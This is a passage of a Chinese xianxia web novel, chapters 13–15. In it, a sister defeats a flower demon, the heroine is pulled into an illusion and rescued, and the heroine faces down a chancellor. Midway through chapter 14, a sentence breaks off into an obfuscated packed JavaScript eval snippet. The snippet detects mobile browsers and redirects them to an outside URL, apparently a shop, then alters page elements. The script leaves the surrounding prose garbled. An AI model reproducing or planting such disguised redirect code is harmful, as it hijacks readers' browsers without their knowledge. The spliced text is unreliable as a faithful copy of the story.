柳知微终于回神,赶忙捂住耳朵。 那镜面四分五裂,女子的脸破碎不堪。 “一千年了……”镜中女子朱唇轻启,声音却像是千万人同时在耳畔呢喃,“为什么心里还是想着、念着……放不下?” “世间俗事繁杂,落花恋水兀自飘零,寒鸦寄身枯木,无根浮萍因风不定……”透过镜面,她碎裂的瞳孔里倒映出柳知微的影子,“你呢?你是哪个?” 她好像在问柳知微,却又似乎是黯然神伤。 那镜子轰然炸碎。那照影化作纷扬的青色花瓣,被突然出现的空间漩涡尽数吞噬。 13. 大姐姐她杀疯了 三楼那扇雕花繁复的窗棂毫无征兆地炸开,木屑与碎瓷如暴雨般迸溅。一道碧色色身影从中踉跄跌出,划破弥漫的青灰色妖雾,这才是真正的柳清圆。 她怀中紧紧半搂着已然失去意识的柳知微,以背脊直面地面,硬生生从数丈高处坠落。 砰然巨响中,尘土飞扬,她结结实实当了回肉垫,地面甚至被砸出细微裂纹。尽管灰头土脸,发髻散乱,白衣沾尘,她看似竟毫发无损。 “真是……胖了。”柳清圆轻啧一声,利落地拍拍衣袖上的尘土,姿态从容地将怀中昏迷的柳知微安置在旁边稍显完整的地面上。指尖迅疾如风地在周围划下一个简单的守护结界,微光一闪即隐。 她不过是想逗逗柳知微罢了,只是没料到,这位二妹妹当真有些本事,能看穿那幻象。 柳清圆给那花妖下了死咒,不过是哄哄那妖物罢了,她来这里就没想过会放它们走,送它们往生更是不可能。 就在她转身欲起的刹那,破开的窗口处,数不清的藤蔓如利剑般迸射而出,瞬间撕破迷蒙粘稠的青雾,以无可匹敌之势,精准贯穿了柳清圆的整个身躯! “噗嗤——” 利刃穿透□□的沉闷声响令人齿冷。 青衣少女的身躯霎时间千疮百孔,每一个窟窿中都血流如注,鲜血迅速染红了她破碎的衣袍,在地上洇开大片暗红。 她瘫软下去,沾地的瞬间,身躯竟开始诡异地的化为焦黑的腐土。 “呵……”一声娇媚的轻笑从空中传来。那一直藏身镜中的女子终于现形,周身妖气澎湃,面容娇艳却带着狰狞:“祂说得果真没错,只要擒了这人,你就会自投罗网。” 柳清圆挑眉:“祂?你脑子还是有病得很。”她不懂这二妹妹对她有什么重要的。 地表剧烈翻涌,无数粗壮黝黑、带着尖刺的花根穿刺而出,将地砖掀起,碎石灰瓦如浪涛般涌动。 “什么狗屁修士,也就只有我那傻弟弟会听信了!呵呵,今日定叫你尸骨无存!” 妖异的青光再次大盛,所有被操控的干尸如同被无形磁石吸引,从四面八方汹涌扑来,疯狂地试图吞噬那正在化为腐土的残骸。 里三层外三层,干尸群形成一个密不透风的恐怖包围圈。就在这千钧一发之际,柳清圆动了。 她那即将彻底化为腐土的残骸之上,骤然爆发出刺目银光!那些银色纹路如同活过来的爆竹般噼啪炸响,化作无数道流光溢彩的锁链,以迅雷不及掩耳之势缠向半空中女子的脖颈! “呃!”女子猝不及防,被勒得发出一声短促的惊叫。 所有攻击戛然而止。 汹涌的干尸群猛地顿住,然后如同被抽去支撑般纷纷软倒在地,迅速化为焦黑腐土,升腾起缕缕青烟消散。 焦黑的尸渣与青烟散去,露出了最中央的景象。 哪还有什么腐土残骸? 那青衣少女完好无损地立于原地,仿佛刚才的死亡与分解从未发生。甚至她那张脸庞,在银辉映照下更显得白皙如玉,唯有唇角噙着一丝令人心悸的冷笑。 “是件麻烦事,”她轻声道,声音平静无波,“得找你弟弟加钱哦。” 手上猛然发力,银色锁链嗡鸣作响。那女子便被一股无可抗拒的力量强行拖拽而下,带至她面前,狼狈不堪。 “你……你怎么能……”她美丽的面孔因窒息而扭曲,“我分明看见你……”化为腐土,被藤蔓刺穿。 柳清圆偏头,露出一个近乎天真的笑容,眼底却是一片寒潭:“看够了么?” “你弟弟说,你是叫方青箬?” 她用未掐脖子的那只手的指尖,轻轻碰了碰方青箬眉间那枚精致的兰花型花钿,动作带着怜爱般的错觉。然后,指尖猛然用力,硬生生摁了进去! “噗嗤!” 妖异的青色血液汩汩流出。 “啊——!”女子容颜因剧痛而极度扭曲,纤纤素手瞬间化作数条带着尖刺的深绿色藤蔓,直刺入柳清圆的手臂! “嗤!” 藤蔓刺入,伤口处却没有流出鲜血,反而涌出无数细碎的银色粉尘。粉尘散去后,露出的伤口内部,是无数疯狂蠕动、增殖的肉芽,正在贪婪地吞噬着侵入的妖力藤蔓。 女子瞳孔骤然缩紧:“蚕食!你竟然……” “看来你还没完全糊涂。”柳清圆轻笑一声,手上的力道又重了三分。 她的妖力正在被急速抽干,原本饱满诱人的身躯迅速干瘪枯萎,皮肤出现褶皱,正飞速变得形若枯骸。 “是真的……”她唇齿间挤出破碎的气音,“你终究,舍不得剔掉那身妖骨……” “哈哈哈!越阿毓,睁眼看看!你亲手教出来的好徒弟,你捧在手心里的好女儿!她跟我有什么两样?她天生就该化妖,天生就是这等肮脏下作的东西!” 少女伸出手指,轻轻抵住自己的嘴唇,又是一个温和无害的笑容:“嘘。” 她凑近她耳边,低声道:“找得可真苦啊,方护法。” “沦为绮幻鬼,就只敢缩在这镜花水月里……借着你弟弟的皮囊躲藏。” 湿冷的叹息拂过耳垂,“我真替你……难过啊。” 柳清圆掌心发力,银色光芒如蛛丝一般包裹住整个幻境。 意识到自己已是强弩之末,她眼中闪过最后一丝疯狂:“您要毁了这幻境自然轻而易举……可那人呢?”她目光扫向结界中昏迷的柳知微,“她的道行……还不及我呀……” “她会陷在秘境深处,会慢慢沉沦……灵识混浊……最终回归混沌……”方青箬艰难地吐气,挤出一个扭曲的笑容,“就像你师父当初那样……” 柳清圆“嗤”地笑出声来:“撒谎。这点招数可对付不了我这二妹妹,更加入不了我师父的眼。” “呵呵……只要能诛心就够了。” 那缠绕住方青箬的锁链骤然变紧。 她的笑声尖厉刺耳,金色步摇落在地上。 “说起你师父,”她忽然凑近,气息凉丝丝拂过来,“那处秘境……是我专为她设的。你猜她最后剩下了什么?” 指尖掠过自己完好的脖颈,轻轻一点。 “只剩这里,还能认出是谁。” “我要为我的孩子,为我的丈夫,讨回这笔血债!让她的魂魄困在秘境之中,永世游荡,不得解脱!” 柳清圆被这尖厉的笑声吵得眉头一蹙。 “你弟弟本该早已死了,强撑着活到今日,不过是为了送你往生……可我改主意了,”柳清圆盯着她,一字一句像沁着冰,“不如,你先死在这里。” “当只安逸的狗太久,连自己曾是什么东西都忘干净了?看来我得帮你把这身皮扒了,你才能记起自己是谁啊。” “不过是借了仙山灵力才化形的畜生,也配提我师父?”柳清圆语气森寒,倏地逼近她耳畔,“说!‘祂’往何处逃了?” “是‘祂’杀了我师父……对不对?!”最后三字咬得极重,几乎迸出血来。 “不、不!!——”她发出刺耳的尖啸,人形身躯逐渐干涸,替而代之的是一只性状可怖的巨大魔兽。 正是一只嘤嘤怪。它缩成一团,似乎极想找一处地缝钻进去,不断发出“嘤嘤”的悲鸣。 话音未落,“轰隆!!!”一声巨响! 宅院在恐怖妖力的自爆冲击下剧烈震颤。屋顶的青瓦哗啦啦坠落,却在半空中就被肆虐的妖气碾磨成齑粉。 明白自己彻底完了,她尖啸一声,引爆了残存的所有妖核本源! 那面碎裂的镜碎片悬浮在空中,每一片都呈现出方青箬狞笑而绝望的脸庞。 “靥大人,青箬誓死追随您!” 周遭景象骤变,化作无边无际、妖艳摇曳的巨大花海。惊天动地的爆炸中,妖花本体四分五裂,恐怖气浪将柳清圆狠狠掀飞出去,重重砸进远处的断壁残垣。 剧烈的震动渐渐平息,唯剩下一地迅速枯萎的破碎花瓣,以及那个蜷缩在血泊中、被银光屏障守护着的柳知微。 一片死寂中,柳清圆从废墟里缓缓站起,拍了拍身上的尘土。 “连自己是谁都不记得了,还有忠心可言?” 她走到那堆凋零的碎瓣前,指尖凝聚灵光,轻点其中一块最大的镜片碎片。 “不过是想掩饰真正的秘境……” 所有散落的镜碎片化为青金色流光,凝聚压缩,最 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而那个幻影般的林疏言,木讷,寡言,却将她每一个无意间的喜好都默默记住。为她,他肯埋头搬上半年的柴禾,就为带她去逛一次喧闹的庙会,买些不值钱的小玩意儿。 在那场梦里,他们甚至会有一个孩子,会平安康乐,仿佛能得老天爷一辈子的眷顾。 ……多可笑。 不过是随意排布戏文,定了那孩子早夭化鬼的结局,竟就让她彻底崩溃。 幻境本该到此终结。 可她竟硬生生从那份虚妄的“母爱”中榨取力量,爬了出来。十指鲜血淋漓,疯了似的刨开那个虚构的小小坟冢,强行将梦中那根本不存在的“鬼婴”封入魂玉,以自身魂力苦苦滋养至今。 可那一切都是假的。 唯独她沉溺其中的执念,成了唯一真实、也最可悲的东西。 至此,她便栖身于那堕入魔道的弟弟躯壳之中,在世间漂泊游荡,听凭靥大人的差遣。若无任务在身,她便携着这副躯壳,独自踏上寻觅复活丈夫与孩子的渺茫长路。 柳清圆定定地看了那魂玉片刻,将其余碎玉纳入袖中。 她走到柳知微身边半蹲下来,伸手探了探她的鼻息。虽然微弱,却还算平稳。 “这般轻易就着了道……”她嗤笑一声,语气里听不出是嘲讽还是别的什么。 先收拾烂摊子吧。 将那块最大的魂玉碎片握在掌心,柳清圆飞身跃到不远处一段尚未倒塌的窗台上。窗外,奔流不息的大江倒映着破碎的星光。 隔江近处,漫天的花瓣仍在纷纷扬扬地撒落,随着风轻轻掠过,荡开一圈圈细碎的涟漪。江对岸却是灯火通明,人声鼎沸,与此地的死寂残破恍若隔世。 柳清圆迎着微带腥气的江风,低声哼起一首调子古老而悠长的曲子,旋律古怪,带着说不出的苍凉。 她就那样呆坐着,目光远远落于对岸那片虚幻的热闹之地,一动不动,像尊没有生命的石雕。 几朵零碎的白色小野花被风卷着,粘在她染了尘灰血迹的衣袖上。她垂眸,伸出两根手指,轻轻拈起那几朵脆弱的小花。 脸上的笑意渐渐收敛。她屏息敛神,将全部意念倾注于手心中的魂玉碎片,口中继续哼唱着那首古老的歌谣。 “心悠悠,水游游,东山花嫋嫋。烛欣欣,雨晴晴,明月薄薄云。瑛粉粉,粥粥温,一枝闲在候卿卿。” 这是越阿毓教给她的法诀,唱这首歌谣,她可以寻见妖气所系之人,找到师父,找到柳知微。 合拢掌心,用力一握。掌心被玉片的边缘刺破,鲜血淋漓渗出,沾染了那几朵小白花。沾血的花瓣瞬间碎成齑粉,被风吹散。 她倏然睁开眼,乐声戛然而止。 找到了。 幻境最核心的、连接着柳知微灵识的入口。 她没有丝毫犹豫,唇角似乎勾了一下,身影从窗台上一跃而下,径直栽进了窗外那倒映着破碎星光的、漆黑冰冷的江水之中。 噗通一声。 水花溅起,打碎了江面上那点点摇碎的、虚假的满天繁星。 14. 大姐姐是真白月光 被拉入那道漩涡之后,柳知微短暂昏迷了一下,好像时空穿梭一样,周围是一片漆黑,天旋地转之后,终于出现了一点亮光,豁然开朗。 青色雾霭粘稠如纱,缠绕着残破的梁柱与蒙尘的神像,气息阴冷潮湿,与沈府遇袭那日如出一辙。柳知微立于雾中,足下地面虚软,意识也如同这雾气一般,沉沉浮浮,难以聚焦。 雾影深处,一点明快的色彩晕开。 是个戴着宽大斗笠的小小人影,蹦跳着走近。到了跟前,那小人儿才俏皮地将斗笠往后一推,一张圆润似玉盘的粉嫩小脸露了出来。 眼睛又大又圆,乌溜溜的眸子灵巧地一转,胖乎乎的小手从眼角往下一抹,对着柳知微便绽开一个灿烂的笑。眉眼弯成月牙,憨态可掬,活脱脱一个从年画走下来的福娃娃。 她笑盈盈地,也不说话,只轻巧地一个旋身,便从柳知微身侧跳过,带起一阵微凉的、带着莫名清甜气息的风。 柳知微下意识伸手:“等……” 指尖刚触及那飘起的衣角,周遭景象瞬间坍缩、旋转。周围的一切被一股无形之力撕扯、拉长,失重感猛然攫住她,仿佛坠入无底深渊。 “——你是?!” 话音被摔落的闷响切断。背部传来坚硬湿冷的撞击感,青草与泥土的气息猛地灌入鼻腔。 柳知微痛得蜷缩起来,牙关紧咬,几缕被冷汗浸湿的发丝贴在额角。她艰难地撑起上身,视线因疼痛而模糊,只依稀看见四周摇曳的、深色的草影。 她捂着头,声音断断续续:“系统?这是怎么回事?” 系统没有反应。 柳知微心头一跳:莫非这个空间可以隔绝外界杂念? 可以独立于系统存在的空间,就是这个世界的bug,在这里,她有可能会死亡。 此地不宜久留。 柳知微在心里盘算着:得回去申请工伤补贴。 她的眼前是一片迷离的、晃动的淡紫色——无数蓝花楹花瓣正从头顶高大的树冠飘落,轻柔地覆盖她的身体上。 触及她皮肤的花瓣,那柔和的淡紫骤然变得粘稠、暗沉,顷刻间化为汩汩流淌的浓稠血液,血泊迅速扩大,淹没了草地。 无数只肤色惨白、浮肿溃烂的手臂从血海中猛地探出,指甲漆黑尖长,死死抓住了她。 柳知微:“停之停之。” 凄厉绝望的哀嚎、哭泣、嘶吼,直接在她脑海深处炸响,层层叠叠,几乎要撑裂她的头颅。 “瑛瑛!走啊——快走!” “你回来做什么!” “一起死……那就一起死!” “谁都别活了……哈哈哈!” 是的,那些手臂实在骇人。 但柳知微连眉梢都没动一下。 她低头看了看被染得猩红淋漓的裙裳,静了片刻,随即咬着牙抬起尚且自由的右手,抓起一条还在抽搐的断臂,狠狠抡开缠在身上的残肢。 “别动!裙子会脏!” 好容易拨开这群缠人的小鬼,她立即分出一缕心神沉入内观。丹田气海枯竭如旱地,灵脉间泛起灼烧般的剧痛,生机衰弱得如同风中残烛。 现在她是洛闻瑛,花妖副本还没闯完,竟又被硬生生扯进了这诡谲莫测的秘境。无论当恶毒女配,还是做门派里的小师妹,拖着的始终是这具破败不堪的身子。 天道予她的命数,当真刻薄得可恨! 难道配角便非要走这病弱堪怜的路子不可? 柳知微尚在为自己的际遇怨愤不平,忽听得耳畔传来一道突兀的声音。 “咦?” 那声音穿透周遭纷杂哀鸣,清晰落在她耳中,带着毫不掩饰的讶异。 “小瑛儿。”她打量着柳知微,颇有些幸灾乐祸的意味在里面,“周身煞气如此阴寒浓重……你那师姐莫不是又不管你?但凡遇着麻烦,就总往我这里来躲。” 话音落下,头顶遮天蔽日的蓝花楹树冠无风自动,无数花瓣汇成一场更加盛大、更加凄美的紫雨,簌簌飘落。在这花雨帷幕之后,树梢之上,悄然多了一道蓝色身影。 她轻盈地转过身,裙裾与发带在花雨中飘扬。那是一张极其年轻、甚至可以说稚气未脱的脸庞,约莫十六七岁,明眸皓齿,后脑梳着乖巧的双垂髻,系着蓝紫色发带。 柳知微心里莫名地安定下来。她怔怔望着眼前少女,努力回忆是否曾在哪里见过她。 一段画面忽然浮现—— 华丽的宫殿中,有人披散长发,衣衫凌乱,在尖叫中被拖拽而出,身后拖出一道刺目的血痕。而在不远处的廊柱旁,那个曾在青雾中出现的小女孩静静站着,斗笠已经摘下。 她脸上满是哀戚,可那双眼睛里,目光映透雪光,也似一片白茫茫。 柳知微回过神来,那个曾在血泊中踉跄的身影,渐渐与眼前少女的面容重叠起来。 少女歪头看向她,粉唇轻轻嘟起,神色里带着些许惋惜,又透出几分好奇:“你师姐修炼的灾厄灵体,本就是噬煞而生,伴煞而长……不是早提醒过你要离她远些么?和她一起做任务可是凶险无比呢。” 她足尖在纤细的树枝上一点,整个人如一片没有重量的花瓣,翩然飘落。所过之处,那些缠绕着柳知微的污浊血海、惨白手臂,如同被无形的净水洗涤,发出“嗤嗤”的轻响,迅速淡化、消散,露出下方原本潮湿却干净的草地与落花。 “幸好我预先在你识海中留了一缕神念,凝成了一道灵障,否则方才那只绮幻鬼,早就将你拖进九幽去了。”她声音低了几分,像在诉说一段隐秘,“那地方……游魂永世寻不到归途。” “——黑黢黢的,吓死你!”话音未落,她突然凑到柳知微耳畔,拔尖嗓子炸开一声喊。自己倒先撑不住,笑得弯下腰去,发梢轻颤,仿佛连那棵大树都被这笑声惊得晃了晃。 柳知微看着她微红的脸颊,不由得也笑了,抬手轻抚上去,试探道:“这灵障是你设的?我该怎么谢你才好?” 话音未落,她掌心悄然凝出一截苍白的骨刃。 少女依旧托着腮,笑吟吟地望着她,眼神却透出几分狡黠:“跟姐姐客气什么?我家里早给订了亲,说是凌霄神族那位十六皇子,好像叫什么歇……等你上了九重天,替我去瞧瞧他模样如何。”她往前凑了凑,声音压低,“要是试炼没过,回来哭鼻子,我的肩膀借你靠。” “不过——”她忽然后退半步,笑意不减,语气却认真起来,“你可得给我争口气。瑶姬大人费心思送你上去,别丢了咱们姑媱山的脸。” 她抬起清澈的杏眼,直直看进柳知微眼里:“还有……替我捎句话给他,就一句——这可关系我终身大事呢。” 说着,她忽然伸出食指,指尖一点湛蓝光华流转,不容抗拒地点向柳知微眉心。 柳知微周身一僵,连目光都定住了,只能从喉咙里挤出声音:“歇……你就这么中意他?” 少女不答,指尖蓝光莹莹映亮眉眼。她侧耳似听风语,片刻展颜一笑,那笑意里却掺进些遥远的怅惘。 “是啊,就这么中意。听说那位小郎君清冷如雪莲,若是能……”她眨眨眼,话锋一转,“我修为大涨,瑶姬大人或许就准我下山玩了吧?” 忽然,她指尖蓝光轻轻一颤,“咦”了一声:“你的心……这儿怎么空了一块?像被人生生挖走一缕魂似的。” 她眼底掠过一丝复杂神色,似怜悯又似盘算。未等柳知微细辨,少女已收起怅惘,指尖蓝光大盛—— 话音未落,骨刃已没入她眉心。 穿到修真界死过多次的朋友都知道,仙者灵窍不在心,在眉间。 “心意领了,但还是免了吧。”柳知微语气轻淡,手上却稳得惊人。 少女身形陡然凝住,笑意僵在脸上。周遭空间开始剧烈震颤,天地仿佛要碎裂开来。 柳知微抿紧苍白的唇,灵魂撕裂般的痛楚与身体的虚乏交织涌上。她指尖微动,只触到体内一丝游萤般的灵力。 “明明只是个幻境……我也不是洛闻瑛。” 她只是消除了一个bug罢了,这是穿越者的基本素养。维持世界的稳定,也是她们诞生的意义所在。 “得罪了。” 对面,少女眼神逐渐涣散,唇间溢出的并非言语,而是一段苍凉如古埙的歌谣。 “故桑已焚兮……何处家山。赤风呜咽兮……照夜难安。” 柳知微神色一凛,暗道不妙:这可是什么法诀? 话音落下的瞬间,磅礴而清凉的灵力如决堤洪流,轰然灌入柳知微千疮百孔的经脉与心窍,剧烈的冲击让她眼前彻底被蓝光吞噬,所有感知、痛楚、声音、甚至自我的存在都被这光芒淹没、稀释。 意识,如同断了线的纸鸢,被抛入无边的、温柔而冰冷的深蓝海域。 不断下沉。 光线越来越暗,越来越远。身体失去重量,记忆开始浮泛。恍惚间,时间的壁垒似乎变得模糊,她不再是旁观者,而是被拖入了一段深埋的、属于他人的记忆湍流。 深海的寂静中,有细碎的光点升起,那是记忆的泡沫。 泡沫里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17576303|205015||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,映出一个熟悉的侧影,青衣胜雪,姿容动人,却始终蒙着一层浓雾,看不真切。她的声音隔着万重水波传来,空茫而飘渺,带着一种深切的哀伤与……呼唤? “瑛瑛……” 另一个泡沫破裂,传来断续的话语:“瑛粉粉,粥粥温……” “师姐,这是我……” 更多的泡沫涌现,带来混杂的感知:泥土的腥气、焚香的味道、盛大祭典的喧哗与肃穆、还有……血与火的气息。 “圣女……将带领我族走向下一个百年……” 是谁的声音?如此决绝,又如此绝望? “轰隆——!!!” 惊雷仿佛直接在脑海中劈开!柳知微浑身剧震,猛地从那深蓝的沉溺中挣脱出来! “嗬——!”她倒抽一口冷气,骤然睁眼! 眼前没有海水,没有泡沫。她依旧在那棵蓝花楹树下,只是蓝衣少女身影正在迅速变得透明、消散。脸颊冰凉,她下意识抬手一抹,指尖触及一片湿痕。 是泪。 与此同时,一个清晰无比、如同誓言般刻入灵魂的意念,随着少女最后的消散,轰然烙印在她意识最深处。 “来姑媱山……接我。” “咔嚓——!” 仿佛琉璃破碎的清脆声响,自天地间每一个角落同时响起,笼罩这方土地的、由蓝衣少女本源支撑的幻境灵障,在这一刻彻底崩解! “呜——!!” 失去桎梏的狂暴灵力乱流,如同脱缰的凶兽,化作肉眼可见的青色飓风,向着中心处的柳知微疯狂撕扯、席卷而来!本就虚弱到极点的柳知微,连站立的力气都没有,如同狂风中的一片枯叶,被轻易卷起,抛向高空! 【连接成功!!!宿主生命征兆正在消散!体质下降至65%、46%……2%!!!!】系统刺耳的警报被风声吞没。 满山蓝花楹树疯狂摇曳,所有花瓣在同一瞬间脱离枝头,汇成一场凄艳绝伦的紫色风暴,却在脱离树木的刹那,迅速失去光泽,枯萎、化为飞灰。 大地发出沉闷的、痛苦的轰鸣,剧烈震颤,裂开道道缝隙,这片天地亦在为其哀悼。 柳知微在空中无助地翻滚,飞速远离地面,强烈的失重感和对高度的本能恐惧让她死死闭上了眼睛,耳边只有呼啸的风声和大地崩裂的哀鸣。完了…… 预想中粉身碎骨的撞击并未到来。 千钧一发之际—— “铮——!” 一道清越的剑鸣破开混沌的风啸与烟尘,银光如冷月乍现,照亮了昏沉的天地。那剑意虽未化形为刃,却随法式展开,凝成数道清亮的银色光轮。光芒流转之处,连肆虐的飓风都微微一滞。 银辉扫过,灵障破碎后蔓生的怪藤、残存的青雾,仿佛被无声之力斩断,随后寸寸消散,只留下淡淡如月的微光,静静漾开。 剑气开道,一道身影破开纷乱的草叶与尘埃,宛如滴落浊世的一捧新雪,倏然而至。 她抬臂,伸手。 动作精准而稳定,没有半分犹豫或吃力,恰好接住了从空中坠落的柳知微。强大的下坠力道在她臂弯间悄然化去,只余微微的震荡。 柳知微被那突如其来的安稳揽住,惊魂未定,勉强掀起沉重的眼皮。 模糊的视线中,最先对上的,是一双眼睛。 离得很近。眸色是纯粹的、透光的蓝,似乎没有任何属于“人”的鲜明情绪,只有一片悠远的平静。而此刻,这片平静里,清晰地映出了她自己。 狼狈的、苍白的、沾着血污与泪痕的,仿佛随时会碎裂的影子。 她脑中冒出一个荒诞的念头。 柳知微突然奇怪地想知道,那双眼睛流泪的时候,眼波流转,应当可以媲美黑夜中绽放出点点繁星的盛况吧? 在昏过去前,系统咋呼呼的尖叫撕裂耳膜,虚拟面板忽然弹出—— 【生命值下降至2%!启动紧急模式,在此期间“柳知微”将进入强制昏迷状态,正在启动修复程序中……预估消耗副本内时间72小时……】 冰冷的系统提示音在脑海深处尖锐响起,与周围世界的崩塌、获救的恍惚感交织在一起,让柳知微本就濒临极限的精神一阵刺痛。 气血逆冲,喉头腥甜上涌。 “噗——!” 她终究没能压住,一口滚烫的鲜血直接喷了出来,喷了眼前人一脸。 系统的声音逐渐模糊、远去。 她落入一片银色的月光。那光流泻而下,温柔而彻底地,裹挟了她全部的身心。 15. 泪眼问花花不语 柳知微猛地睁眼,胸口剧烈起伏,冷汗浸透衣衫。她大口喘息,手指死死攥住衣襟,仿佛心脏被人狠狠攥住,瘀血淤塞,窒息般的恐惧蔓延四肢百骸。 她在害怕什么? 她不知道。 【叮!——“妒心”剧情已改变,本文虐恋度下降35%,女主技能点提升20%,成神进度(18/100)】 【宿主体质下降68%,当前剩余生命值(16/100)!获得标志:“弱柳扶风”。】 【积分奖励到账2500!自动扣除恢复生命值后账户余额:250!】 系统声音时断时续,电流杂音尖利地刮擦着耳膜。柳知微头痛欲裂,眼前光影扭曲、摇晃,昏倒前的记忆碎片般扎进意识。 她最后记得的,是唇齿间化开的一抹温软清甜。 像是……琼脂玉露糕? 混沌的脑海里骤然闪过几个断裂的词:明月楼、柳清圆…… 可这些又与她有何干系? 柳知微脑中一片稀碎,原本只是在意念中呼唤着系统,现下却是实实在在地说了出来。 “系统……花妖副本的价钱……得另算。” “二妹妹,”柳清圆俯身靠近,语气关切,“可有不适?” “什么……妖?” 柳知微捂着胸口,呼吸急促,冷汗涔涔。她茫然四顾,目光最终落在柳清圆脸上。 她恍惚觉得,那应该是一双冰蓝色的眸子,在微光下如寒潭深涧,漂亮得近乎虚幻。 可那只是一双再普通不过的灰眸而已。 “大姐姐……缘何在此?” 不待柳清圆张口,一个癫狂的身影猛地从旁边树丛中冲了出来!柳清圆躲闪不及,直接被他推进了湖水里。 是炮灰哥,封瑾遥! 他衣衫褴褛,眼神涣散布满血丝,脸上带着诡异而痴傻的笑容,直勾勾地指着池塘方向,尖声怪笑起来:“妖!花妖来了!哈哈哈!它来找替身了!它缠上柳家小姐了!都要死……一个都跑不了!哈哈哈!”他手舞足蹈,状若疯魔。 恰好至此的纪双扉闪身上前,符箓精准点在封瑾遥额间:“静心!” 封瑾遥身体猛地一僵,眼中的狂乱稍稍褪去,软软地瘫倒在地,兀自喃喃着:“花妖……终于找到替身了……” 几乎同时,柳知微已跃入水中。 池水清凉,浸透薄衫。柳知微强忍剧痛游向那道下沉的身影,青丝在碧波中缠绵交织。她揽住柳清圆的腰肢向上托举,水纹荡漾间,两人衣袂翩跹如并蒂莲开。柳清圆苍白的脸贴近她的颈侧,冰凉指尖无意划过她的锁骨,气息在方寸间交融。 她将柳清圆救上岸,用披风仔细裹好。 系统看热闹不嫌事大。 【“他立刻上前,亲手将虚弱的爱妻从水中抱了上来,小心翼翼地护在怀里,眼神里的心疼几乎要溢出来,那冷得像冰一样的男人,现在突然卸下了所有防备,哪怕他的心是冷的,他的血是冷的,他以为他整个人都是冷的,是不会被任何人捂热的,直到看见如今这一幕。”】 【“他的人,他此生唯一一个女人,竟受了这样的伤!他不容许她离开他,更不容许别人伤害她,伤害他的珍珠,伤害他的宝物,要是有人将她夺走,那他势必要拉这三界给她陪葬!”】 芝麻:[《霸王传说:妖艳姐姐哪里逃》很配您呢,宿主大大~ ヽ(*≧ω≦)?] 柳知微:“……” [别吃垃圾信息,谢谢。] “我儿躺在那儿,有人却还好好地站着。”声音极低,像滚过地面的闷雷。 是封瑾遥的宰相老爹封相。 紫袍依旧威仪,此时丧子之痛笼罩头顶,他竟像一夜老了十岁,浑身锐气逼人,若不是有人拦着,似乎他下一刻便要冲上来把柳知微撕碎。 封府上养着的一位门客低情商地开始汇报工作:“封相,小公子中了那花毒,神志不清,困在幻境里了……在下赶来不及,让那妖物化成虚影逃走了……” 封相红着眼眶,怒吼道:“是谁!究竟是谁敢动我儿?!要是查不出,我就要所有人给我儿陪葬!” 这句话,如同平地惊雷,炸响在每个人耳边。 柳知微:“……” 众人:“……” ber不是大哥,你要谁陪葬? 那门客从袖中取出青瓷药瓶:“封相大人,令郎并非没有清醒的可能,只需抓到那花妖,以妖血献祭,封公子便有醒转的可能,先以丹药吊命……” 他也给柳清圆喂了一颗,柳知微的目光落在柳清圆苍白的脸上:“姐姐……为何也还是不醒?” 那人不动声色地侧身,微微拉开距离:“这位姑娘亦是受了惊,恐怕此番……凶多吉少。” 然而,就在靠近的那一刹,他眼底倏然一亮。这细微的变化,未能逃过柳知微的眼睛。 那边这人还在演戏。他抬眸,恰到好处地看向脸色铁青的封相,语气凝重:“大人,令郎君神魂受创,身上沾染的妖气浓郁不散,显是被妖物迷惑甚深,以致心智失常。” “他口中反复提及‘花妖’、‘牡丹’、‘替身’……看来,今日柳二小姐遇袭,令弟癫狂……此事,恐怕并非简单的意外落水,或是专门冲着什么来的……” 他顿了顿,目光若有似无地扫过柳知微,“或以为……背后之人是有备而来。” 良久,封相保持着沉默,只抬头冷冷地看着柳知微。 这明晃晃地诬陷……怎么,这小子也是她得罪过的吗? 柳知微:“……” 柳知微无声一笑。 [系统,我记得这好像是有个地方叫南风馆吧?这倒是这位大人的好去处哦。] 系统:[宿主大大您一笑,反派男主生死难料!为宿主大大举大旗!“(`(エ)′)ノ] 柳知微坦然对上他的目光。 “老头……有事?” 先收拾你这个老登,再收拾你这个小登! 看什么看,她还没想明白没有积分的话,怎么一个被雷劈得外焦里嫩的人还能活过来,至于封瑾遥变痴呆,可真怪不到她头上。 封相上前一步,自顾自道:“柳二小姐,本相知晓你……对瑾遥的心意。这京中谁不知你痴缠我家瑾遥?可怜我儿,千不该万不该,不该与你柳家订下婚事!你这蛇蝎毒妇,定是与花妖有所勾结,谋害我儿!” 慕容静姝在一旁听着,急得直跺脚:“封老头,你别乱说,柳莺娘怎会和花妖勾结!” 其余的人也站出来,装模作样地挡在柳知微身前,“封相大人,目前并无证据表明柳二小姐与此事有关,这其中怕是有些误会。” 柳知微属实是没招了。 这无稽之谈……封老头自己估计都被自己说服信个七八分。只因他急需减轻自己护儿不力的心虚和愧疚,那么她就理所应当地成了那个替罪羊。 封相厉声问道:“柳莺娘,你还有什么话说?” 柳知微双手摊开,叹口气道:“可惜了,那道雷符……应该留给你的。” 接下来,咱上大号说话。 【绿茶buff+10086!】 【白莲buff+10086!!】 【心机婊buff+10086!!!】 甩锅三板斧。 第一招:以退为进,反将一军! 柳知微立刻眼眶泛红,假模假样地拦下为她说话的人,娇弱无助地执帕掩泣:“对不起,都是莺儿不好……莺儿不知怎么惹恼了世叔,虽不知错在何处,但相信封世叔正人君人,定然不是有意要欺负我这弱女子的!世叔只是关心则乱,情急之下才吓唬莺儿呢。” “莺儿受点委屈不算什么,只要能要王爷宽心,哪怕让莺儿为千夫所指,万人唾骂也罢!” 第二招:移花接木,模糊黑锅 “世叔怎会疑心是莺儿所为?”她眼睫微垂,声线里带着恰到好处的颤意,随即又像是想到什么般蓦地抬眼,眸中漾开一丝了然而又伤痛的涟漪。 “方才封公子醉意阑珊,还拉着小女诉说世叔待他的种种委屈,字字泣血,听得人心如刀割……此刻见世叔如此质问,小女便感同身受了,依照您多思多疑的性子,岂会不伤了封公子的心?恐怕世叔又是在席间听信了什么风言风语,以致对我这等弱女子……都生出了天大的误会?” 第三招:示弱人前,笑里藏刀 